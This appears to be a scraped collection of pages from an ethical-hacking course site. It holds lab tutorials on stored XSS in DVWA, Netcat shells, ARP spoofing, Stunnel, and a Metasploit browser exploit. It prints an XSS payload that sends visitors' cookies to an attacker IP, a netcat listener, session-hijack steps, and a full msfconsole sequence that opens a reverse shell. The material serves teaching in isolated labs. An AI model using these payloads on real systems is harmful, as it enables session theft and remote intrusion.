How to Dissect a Website Attack


Sometimes the only way to really learn about network security is by being the victim of a network attack. A while back, I got an email informing me that my website had been hacked and that visitors to my website were being blocked by safe search security toolbars like AVG’s and that Google itself was blocking internet searches to my website and redirecting users to a malicious activity warning page.

My first reaction was denial, “my site?, no way.” Then the second and third email arrived. So I decided to check it out, and do a Google search for my own website, … sure enough, I too was met with the warning page above. Now it’s time to figure out what is wrong with my website and fix it. So where does one start?

Find more information on your hacked website

The first thing to do is to get more information on what the problem actually is. In the image above, you can see that there was a referral link to a Safe Browsing Diagnostic Page with more information on the problem. In the image below, you can see a recent Safe Browsing Diagnostic Page for showing the site to be in good standing. Notice the ‘Next steps:’ section at the bottom of the image, which refers the owner of the website to Google’s Webmaster Tools; whether a website is infected or not infected, Google’s webmaster tools is a useful tool for all website designers and managers offering valuable information and usage statistics about your website.

At the time my website was hacked, I already had a Webmaster tools account for my site, so all I had to do was go to the Webmaster tools login page to find more information about the problems my website was experiencing. In Webmaster Tools, under the health category, there is a malware section which can give you valuable information about which web pages on your website are infected, as well as informational tips on what to look out for. In my case, Webmaster Tools informed me that visiting my website’s homepage was where the malware was detected, but more specifically, that I needed to look at the .htaccess file for the infection. Having some more information about the website infection, the next step is to login into your webhost (webserver) to find, fix, and remove the infection.

Finding the infection

There are three basic steps to fixing your hacked website:

  1. Locate the infection,
  2. Quarantine and remove the infection,
  3. Inoculate or patch your website/webserver so the same problem does not happen again,
  4. Check to make sure the problem has still not returned.

Since Webmaster Tools suggested I check my .htaccess file I decided to look at that file first. Upon opening the .htaccess file I noticed that the file had indeed been altered. How would someone know this, if they have never looked at their .htaccess file before? Since my website was built with Joomla, and all Joomla sites have either a htaccess.txt or .htaccess file in the website root directory, it is easy to download a clean version of Joomla and compare the downloaded .htaccess file to the one uploaded to the webserver. Below is an image of the the top portion of the infected .htaccess. file.

The top of the infected .htaccess file

The top of a healthy .htaccess file

Since the .htaccess file was infected, I decided to replace the infected file with a clean .htaccess file. This would take care of step 1: locating the infection, and step 2: removing the infection, and now I could move on to step 3, updating and patching my website and webserver; or so I thought. If only it were that simple…

How to Dissect a Webpage Attack -Page 2 >>


Week 5 – XSS

{loadposition adposition4}

{loadposition adposition5}Overview

Cross site scripting (XSS) is an attack vector that targets vulnerable web applications hosted on web sites. The attack involves injecting malicious scripts into a web page through the vulnerable web application like a comment system, blog, guestbook or login form. Once the malicious script is embedded into the web page it will execute when visitors visit the infected web page.   

Week 5 Assignment

For this lab, you will need to set up an environment to practice simple XSS attacks. This will involve installing a webserver, a database server, and a vulnerable web application and web pages. Once the server environment is set up on your lab XP client you will practice the attacks using your BackTrack distro.

Click here for detailed instructions and some video tutorials: XSS with a Vulnerable WebApp

Week 3 – Netcat

{loadposition adposition4}

{loadposition adposition5}Overview

Netcat – is a program which can both read and write to tcp/udp ports and can be used to open communication channels with remote clients across network firewalls. and effectively transfer data or send commands across networks. When Netcat is used on a network host to bind a command prompt to a listening port, it can then be transferred to a connecting host creating a "bind shell" or a "reverse bind shell" thus providing an outsider with a remote command shell.

Week 3 Assignment

Using BackTrack and Netcat create a "bind shell" and a "reverse bind shell" with your assigned XP-Pro lab client. Save screenshots of your successful shells and post them to the Forum.

Click here to go to: Netcat and Bind Shells


XSS with a Vulnerable WebApp


Everybody browses the web. So it is no wonder that websites and web browsers present a large attack vector for hackers. Since 2002, the typical website has changed from a collection of linked pages of static text and images to dynamic, active, script-based applications that store and retrieve data from database servers. During this period, hackers have created innovative ways to inject their own code and scripts into poorly designed web pages and web applications. This code is then executed in the web browser of an unsuspecting visitor as well as on the web server that hosts the website. Injecting code into a website’s web application and having it target a visitors web browser is called a cross site scripting, XSS attack. Until just recently, cross site scripting attacks have represented a huge portion of all computer based attacks. To combat XSS attacks, web browsers have been patched and released with stricter security measures designed to stop unwanted code execution and web applications have been programmed in ways that sanitize the user’s input. Click here to learn more about cross site scripting and related attacks:


For this project, I used the following components:

  • Attacking computer – a VMware virtual machine with the Backtrack operating system installed
  • Webserver computer – a VMware virtual machine with Windows XP-Pro SP2 installed with no updates
  • XAMPP – downloaded then installed on the XP-Pro computer
  • DVWA – downloaded then extracted on the XP-Pro computer, the dvwa folder needs to be copied to the c:\xampp\htdocs folder
  • Tamper Data – downloaded and installed on the attackers Firefox web browser as an add-on

**Important Notes:

  • I had to edit the .htaccess file in the dvwa folder to allow access to the dvwa webapp from other computers beyond just the localhost at (see video part1)
  • I had to edit the dvwa\vulnerabilities\xss_s\index.php file to allow more than 50 characters in the textarea message box so we could fit the entire malicious script (see video part2)


1.  Insert the script

Insert the XSS attack into a vulnerable webapp. In this case, in the website guestbook which does not sanitize the user input. Once the malicious script is inserted into the guestbook it can effect all visitors to that web page.

<script>new Image().src=”http://<attacker’s ip address>/b.php?”+ document.cookie;</script>

2.  Set up a listener

On the attacker’s computer, setup a Netcat listener to receive the webpage visitor’s session ID cookie. Once the listener is activated it waits for someone to visit the webpage that has the inserted malicious script in the guestbook.

#netcat -lvp 80

3.  Wait for a victim to visit the webpage

A website visitor logs into the website and then unsuspectingly views the guestbook webpage. When you login to the DVWA website make sure to set your security level to “low” before you visit the guestbook web page.

4. Steal the cookie session ID

When a someone visits the guestbook webpage, the Netcat listener will establish a connection, and the resulting output will show the visitor’s session ID number. Highlight the session ID number, right+click on it, and select “copy” to copy it to memory.

Example: “PHPSESSID=lhhnpsggqivlft2blosl8jo916”

5: The attacker is able to authenticate to the website with the stolen cookie

Now from the attacking computer (Backtrack) visit the target website. Before the attacker attempts to login to the website run the Tamper Data Firefox add-on.

In Firefox: Tool > Tamper Data.

Then when the program opens, click:

Start > Tamper.

Edit the Cookie Session ID replacing your SESSIONID with the stolen one, then click run. Once you are redirected to the login page, change the URL in the address bar to go directly to the homepage at http://<ip address>/dvwa/. Once again with Tamper Data still running select “Tamper” and then replace your cookie session ID with stolen cookie session ID stored in memory (ctrl+v) and click run. You should now see that you are logged into the target website as “Admin” with the user’s stolen token session ID.

Video Tutorial


ARP Spoofing Man-in-the-middle Attack


A man-in-the-middle attack is an interior network attack, where an attacker places a computer or networking device between hosts, so that their data exchanges are unknowingly redirected to the man-in-the-middle. The goal is to capture and relay traffic, so the victim is unaware that all traffic to and from his computer is being compromised.

One way to accomplish a Man-in-the-middle attack is to use ARP spoofing. With ARP spoofing the attacker targets the layer two MAC address protocol. On a local area network, a host communicates with another host, including the gateway, by delivering packets to a MAC address. In order to do this, first the ARP protocol needs to resolve the MAC address from the IP address of a host. There is no verification or authentication procedure for the ARP protocol. When a computer needs to send information to another host on the network the computer generates an ARP broadcast. The ARP broadcast sent to every computer on the network requesting that a specific IP address respond with the corresponding MAC address. When a computer responds with a MAC address, data can be delivered to that MAC address, the problem is that the response is accepted without verification. ARP spoofing involves sending fraudulent information to the targeted hosts so they incorrectly map the attacker’s MAC address as belonging to the IP address.


Practice Lab

In the following lab, I set up a test virtual environment to execute an ARP spoofing attack. This is what you will need to do the lab:

Virtualization software: I recommend either VMware (free player) or Virtualbox. You will want to set your virtual network interface cards to bridged mode so that they receive unique IP addresses on the network and can communicate with each other as well as the host computer. If you have networked computers that you do not mind experimenting with, you can skip the virtualization part and use actual physical hosts.

Virtual host 1 (victim): In the video demonstration, I use an Ubuntu client as the victim. I chose this because I happened to already have it set up. You could easily use another operating system like Windows XP, etc. The most important point is that the hosts need to be connected to the same network.

Virtual Host 2 (attacker, man-in-the-middle): For the attacker, I downloaded the pre-installed VMware virtual machine for Backtrack 5-R1 32bit. Download the VM, unzip it, and then open it with the VMware player. If you have never used Backtrack before the default username is: root and the default password is: toor. Once you have logged in, you can start the graphical user desktop by entering the startx command; your networking connection should start automatically, but if it does not, I have initial configuration information here: Install & Configure BackTrack. For this lab, you can just as easily use a different distribution of Linux like Ubuntu, Mint or Fedora.

Router/Gateway: In my demonstration, the clients are on the same network connected by a wireless router/gateway providing connectivity to the internet.

Packet Sniffer: In the demonstration, host scanning, packet sniffing, and ARP spoofing is done with the program Ettercap or Ettercap GTK, installed on the attacking computer. Here are the commands for installing and running Ettercap in graphical mode:

     apt-get update
apt-get install ettercap ettercap-gtk
ettercap -G

Video Tutorial

In this video, I use ARP spoofing to impersonate hosts, and sniff traffic undetected on the network

SSL Tunneling with Stunnel


If you want to send a protected message across a computer network, to be sure that in the event your message is intercepted by an unwanted recipient that it cannot be read or tampered with, then you need to add network encryption. SSL (Secure Sockets Layer) and its successor TLS (Transport Layer Security) are protocols that function at the Application Layer of the TCP/IP Model, above the Transport Layer and provides security certificates, public and private key exchange (asymmetric cryptography), and encryption.


Stunnel is a program that can wrap unencrypted traffic in SSL/TLS encryption and forward it to a specified service or port. Stunnel can be configured to accept packets on an incoming port, encrypt that traffic with SSL or TLS encryption, and then forward the encrypted packets to another specified destination IP address and port. Stunnel uses OpenSSL to encrypt network traffic.

Lab Demo

In this demo, I will use Stunnel to send a secure communication between two clients, both running Stunnel. Client A will run Stunnel in client mode and Client B will be running Stunnel in server mode (see below).



Video Tutorials

In the video tutorials below, I demonstrate step-by-step, the entire process of getting Stunnel to work between a Backtrack Linux client and a Windows XP Pro client.




Client Side Exploits using Metasploit

{loadposition adposition4}


Client side exploits are an extremely common form of attack. A typical scenario is an attacker compromises an ecommerce website and then use that website as a proxy to launch attacks on unsuspecting website visitors. {loadposition adposition5}How many of us have received viruses from a malicious webpage and website? More often than not, the owner of the website does not know that the website contains malicious code that is attacking its visitors. In these scenarios the target of the exploit is the user’s web browser.

The role of the web browser has expanded with the role of the web. Web browsers today are required to do much more than present static text and images, web browsers process ecommerce transactions, interact with databases, launch media players, and transfer files. As such, the web and the web browser, was not designed with security in mind. What this means is that the web browser is an opportune target to focus attacks. 

Client-side Defense

So how do you protect yourself and your browser from a client-side attack? Here is a list of best practices to protect against client side attacks:

  • update and run an antivirus program and antispyware program, 
  • update your operating system and web browsers on a regular basis,
  • update media players (eg. Flash, Quicktime), readers (eg. Acrobat), and add-ons regularly
  • update Java
  • do not visit nefarious websites (eg. sites that deal with pirated music and warez)
  • Do not surf the web as an administrator, by making sure to have User Account Control (UAC) enabled in Vista or Windows 7. Windows XP users can use the program Drop My Rights to achieve the same result: click here to learn more

{loadposition adposition6}Client-side Attack

In the video tutorial below, a client-side exploit is tested against a lab computer running Windows XP Pro and Internet Explorer 6. In order to facilitate the attack, I use Metasploit to launch a webserver and serve a malicious webpage to the visiting IE6 web browser.

Demo steps:

Launch msfconsole, load the exploit and payload, set the options and launch the exploiting webserver and webpage. see the following commands:
1. #msfconsole
2. msf > search browser
3. msf > use windows/browser/ms10_046_shortcut_icon_dllloader
4. msf > show payloads
5. msf > set payload generic/shell_reverse_tcp
6. msf > show options
7. msf > set lhost  <your ip address>
8. msf > set srvhost <your ip address>
9. msf > set srvport 80
10. msf > exploit
11. On your test client (victim computer) browse to your Metasploit server’s IP address using Internet Explorer to launch the client side attack.
12. Once the exploit has finished launching list your sessions:
     msf > sessions -l
13. msf > sessions -i 1
14. you should now have a Windows shell to interact with

{loadposition adposition9}


Video Tutorial


{loadposition adposition8}